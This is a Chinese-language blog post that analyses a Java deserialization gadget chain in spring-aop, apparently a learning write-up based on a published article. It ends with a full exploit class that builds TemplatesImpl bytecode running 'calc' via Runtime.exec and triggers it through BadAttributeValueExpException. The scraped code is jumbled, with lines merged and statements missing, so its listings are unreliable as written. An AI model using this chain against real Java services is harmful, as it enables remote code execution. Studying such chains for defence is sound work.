这链子拖了大半年了都没看,最近幡然醒悟还是得学习
 
环境 用的依赖如下
<dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 5.3.9</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.7</version > </dependency > 
aspectjweaver依赖就是我们之前任意文件写链子用到的,这次要用是因为spring-aop的代码依赖这个库不然到时看代码就会报 字节码与源码不匹配的错误了(
如果想省事可以直接
<dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-aop</artifactId > <version > 2.6.14</version > </dependency > 
AbstractAspectJAdvice 文章说通过污点搜索和分析搜索到了org.springframework.aop.aspectj.AbstractAspectJAdvice这个类,这个类非常的特殊,他在反序列化之后也拥有反射调用方法的能力
还有这是咋通过污点搜索搜到的,大佬求教🥲
 
这个类我们关注两个方法:
readObject方法 
invokeAdviceMethodWithGivenArgs方法 
 
这里invokeAdviceMethodWithGivenArgs会调用aspectJAdviceMethod获得的方法,aspectJAdviceMethod是一个protected transient类型的方法
然后在readObject的地方给aspectJAdviceMethod进行了一个赋值
所以现在要解决两个问题:
args是否可控 
如何调用invokeAdviceMethodWithGivenArgs方法 
 
先找到aspectInstanceFactory这个对象的可序列化的类,因为需要调用该对象的getAspectInstace方法来获取实例,得先可控这个参数,这个对象是一个AspectInstanceFactory接口,找到了他的其中两个实现类可以序列化,SingletonAspectInstanceFactory和SingletonMetadataAwareAspectInstanceFactory
寻找AbstractAspectJAdvice利用链 现在就是按常规流程开始往上找利用链了
ReflectiveMethodInvocation 基本上从各个链子往上找的话,他们都会先走到一个invoke方法,然后走到ReflectiveMethodInvocation#proceed这个方法
比如其中一条链子
org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
那看一下proceed方法的具体流程
public  Object proceed ()  throws  Throwable {if  (this .currentInterceptorIndex == this .interceptorsAndDynamicMethodMatchers.size() - 1 ) {return  invokeJoinpoint();Object  interceptorOrInterceptionAdvice  = this .interceptorsAndDynamicMethodMatchers.get(++this .currentInterceptorIndex);if  (interceptorOrInterceptionAdvice instanceof  InterceptorAndDynamicMethodMatcher) {InterceptorAndDynamicMethodMatcher  dm  = this .targetClass != null  ? this .targetClass : this .method.getDeclaringClass());if  (dm.methodMatcher.matches(this .method, targetClass, this .arguments)) {return  dm.interceptor.invoke(this );else  {return  proceed();else  {return  ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this );
这里interceptorsAndDynamicMethodMatchers是一个List列表,只要其不为空就能过if的判断,currentInterceptorIndex就是索引,代码里面赋值为-1
interceptorOrInterceptionAdvice是从列表里获取的,然后列表也是可以序列化的,索引也就是整数,所以现在就可以认为interceptorOrInterceptionAdvice是我们可控的了
然后我们可以看到这里有两个invoke方法的调用,按照前面的链子,我们可以直接走else,就省去了很多麻烦
JdkDynamicAopProxy 但是发现ReflectiveMethodInvocation这个类并没有实现序列化接口,所以要看看有没有其他类在反序列化的时候能够动态创建这个类
我们往上找他的构造方法的调用,发现了JdkDynamicAopProxy#invoke方法当中创建了ReflectiveMethodInvocation这个类,然后JdkDynamicAopProxy本身就是一个动态代理而且可以序列化
更巧的是,他在创建了之后就立马调用了proceed方法
回看前面ReflectiveMethodInvocation我们需要控制的参数,就是那个列表,在这里对应的就是chain 这个变量
chain的获得方式如下:
现在的链子就变成这样
org.springframework.aop.framework.JdkDynamicAopProxy#invoke->
chain的获取 接下来的重点就是怎么控制chain的获取了
this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
他是通过getInterceptorsAndDynamicInterceptionAdvice方法来获取的,看一下这个方法
这段代码有两种方式获取chain
从缓存的methodCache中获取
通过advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice方法获取
 
先看一下methodCache
被transient修饰,不能序列化
然后在readObject当中,他也是直接就新建了,没有可控的空间,所以第一种方式就不行了
那接下来只能看第二种方式了
这里我们实际上要看的是DefaultAdvisorChainFactory#getInterceptorsAndDynamicInterceptionAdvice方法
public  List<Object> getInterceptorsAndDynamicInterceptionAdvice ( 			Advised config, Method method, @Nullable  Class<?> targetClass)  {AdvisorAdapterRegistry  registry  =  GlobalAdvisorAdapterRegistry.getInstance();new  ArrayList <>(advisors.length);null  ? targetClass : method.getDeclaringClass());Boolean  hasIntroductions  =  null ;for  (Advisor advisor : advisors) {if  (advisor instanceof  PointcutAdvisor) {PointcutAdvisor  pointcutAdvisor  =  (PointcutAdvisor) advisor;if  (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {MethodMatcher  mm  =  pointcutAdvisor.getPointcut().getMethodMatcher();boolean  match;if  (mm instanceof  IntroductionAwareMethodMatcher) {if  (hasIntroductions == null ) {else  {if  (match) {if  (mm.isRuntime()) {for  (MethodInterceptor interceptor : interceptors) {new  InterceptorAndDynamicMethodMatcher (interceptor, mm));else  {else  if  (advisor instanceof  IntroductionAdvisor) {IntroductionAdvisor  ia  =  (IntroductionAdvisor) advisor;if  (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {else  {return  interceptorList;
该方法最终返回的是interceptorList对象,然后这里的config实际上就是AdvisedSupport类,因为前面在调用的时候传递的是this参数
然后核心是看一下interceptorList 这个列表是怎么添加元素的
经过分析,其分为两种方式添加元素:
interceptorList.addAll(Arrays.asList(interceptors)); 
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm)); 
 
这两种方式都和interceptors有关,interceptors的获取都是通过registry.getInterceptors(advisor);这种方式
但是registry的获取是一个静态单例
静态单例是无法通过反序列化来控制的,所以只能看看DefaultAdvisorAdapterRegistry#getInterceptors方法了
public  MethodInterceptor[] getInterceptors(Advisor advisor) throws  UnknownAdviceTypeException {new  ArrayList <>(3 );Advice  advice  =  advisor.getAdvice();if  (advice instanceof  MethodInterceptor) {for  (AdvisorAdapter adapter : this .adapters) {if  (adapter.supportsAdvice(advice)) {if  (interceptors.isEmpty()) {throw  new  UnknownAdviceTypeException (advisor.getAdvice());return  interceptors.toArray(new  MethodInterceptor [0 ]);
这里就出现我们可控的东西了,就是这个advisor,这是通过前面的分析可以得知这个是可控的
如果这个变量同时实现Advice和MethodInterceptor接口,则可以将其添加到interceptors,这个interceptors就是我们最终返回的目标chain。
这里就找到了一个org.springframework.aop.aspectj.AspectJAfterAdvice
这里实现了MethodInterceptor,但同时也实现AfterAdvice,AfterAdvice又是实现了Advice的,所以该类已经满足两种条件了,但是文章却说没有实现Advice,这点有点奇怪,难道是aop的版本问题吗🤔
如果只实现了其中一个的话,也可以用JdkDynamicAopProxy来代理advice接口
然后还有一点就是advisor的选取,这里找了一个实现类DefaultIntroductionAdvisor
该类也是可以序列化的,现在基本链子都走通了,其他就走老方法利用即可
这里选择templatesImpl#newTransformer作为最终的反射调用,newTransformer为无参方法,我们也不用考虑如何去控制参数,更加方便
exp编写 目前完整利用链如下
BadAttributeValueExpException#toString->
现在来确定一下具体的每个类
这里的aspectInstanceFactory选取SingletonAspectInstanceFactory这个类
这个类可以直接返回我们的TemplatesImpl恶意类,也能序列化,是可控的
这里注意AspectJAroundAdvice是AbstractAspectJAdvice的子类
 
最终编写的exp如下:
package  org.clown;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javafx.beans.binding.ObjectExpression;import  javafx.scene.effect.Reflection;import  javassist.*;import  org.springframework.aop.Advisor;import  org.springframework.aop.aspectj.AbstractAspectJAdvice;import  org.springframework.aop.aspectj.AspectJAroundAdvice;import  org.springframework.aop.aspectj.AspectJExpressionPointcut;import  org.springframework.aop.aspectj.SingletonAspectInstanceFactory;import  org.springframework.aop.framework.AdvisedSupport;import  org.springframework.aop.framework.DefaultAdvisorChainFactory;import  org.springframework.aop.support.DefaultIntroductionAdvisor;import  javax.management.BadAttributeValueExpException;import  java.io.*;import  java.lang.reflect.*;import  java.util.ArrayList;import  java.util.List;public  class  exp  {public  static  void  setFieldValue (Object object, String fieldName, Object value)  throws  NoSuchFieldException, IllegalAccessException {Field  f  =  getField(object.getClass(),fieldName);true );public  static  Field getField (Class clazz, String fieldName)  throws  NoSuchFieldException {while  (true ){for (Field field:fields){if (field.getName().equals(fieldName)){return  field;if (clazz == Object.class){break ;throw  new  NoSuchFieldException (fieldName);public  static  byte [] serialize(Object object) throws  IOException {ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);return  baos.toByteArray();public  static  Object deserialize (byte [] bytes)  throws  IOException, ClassNotFoundException {ByteArrayInputStream  bais  =  new  ByteArrayInputStream (bytes);ObjectInputStream  ois  =  new  ObjectInputStream (bais);return  ois.readObject();public  static  TemplatesImpl getTemplates ()  throws  Exception {ClassPool  pool  =  ClassPool.getDefault();CtClass  clazz  =  pool.makeClass("a" );CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);"Runtime.getRuntime().exec(\"calc\");" );byte [][] bytes = new  byte [][]{clazz.toBytecode()};TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();"_bytecodes" , bytes);"_name" , "clown" );"_tfactory" , new  TransformerFactoryImpl ());return  templates;public  static  Object createJdkDynamicAopProxy (AdvisedSupport advised)  throws  Exception{"org.springframework.aop.framework.JdkDynamicAopProxy" );true );          return  ctor.newInstance(advised);public  static  void  main (String[] args)  throws  Exception{TemplatesImpl  templates  =  getTemplates();SingletonAspectInstanceFactory  singletonAspectInstanceFactory  =  new  SingletonAspectInstanceFactory (templates);Method  method  =  templates.getClass().getMethod("newTransformer" );AspectJExpressionPointcut  aspectJExpressionPointcut  =  new  AspectJExpressionPointcut ();AspectJAroundAdvice  aspectJAroundAdvice  =  new  AspectJAroundAdvice (method,aspectJExpressionPointcut,singletonAspectInstanceFactory);"aspectInstanceFactory" ,singletonAspectInstanceFactory);"declaringClass" ,TemplatesImpl.class);"methodName" ,"newTransformer" );"parameterTypes" ,new  Class [0 ]);AdvisedSupport  advisedSupport  =  new  AdvisedSupport ();new  ArrayList <>();DefaultAdvisorChainFactory  defaultAdvisorChainFactory  =  new  DefaultAdvisorChainFactory ();DefaultIntroductionAdvisor  defaultIntroductionAdvisor  =  new  DefaultIntroductionAdvisor (aspectJAroundAdvice);"advisors" ,advisors);InvocationHandler  jdkDynamicAopProxy  =  (InvocationHandler) createJdkDynamicAopProxy(advisedSupport);Proxy  proxy  =  (Proxy) Proxy.newProxyInstance(exp.class.getClassLoader(), AspectJAroundAdvice.class.getInterfaces(), jdkDynamicAopProxy);BadAttributeValueExpException  badAttributeValueExpException  =  new  BadAttributeValueExpException (null );"val" ,proxy);byte [] serialize = serialize(badAttributeValueExpException);Object  deserialize  =  deserialize(serialize);
我这里并没有去再套一层动态代理,直接用AspectJAroundAdvice也是成功了的,所以可以文章作者在写的时候可能有点小错误?🤔虽然再套一层也是没问题的
参考 https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ 
https://github.com/Ape1ron/SpringAopInDeserializationDemo1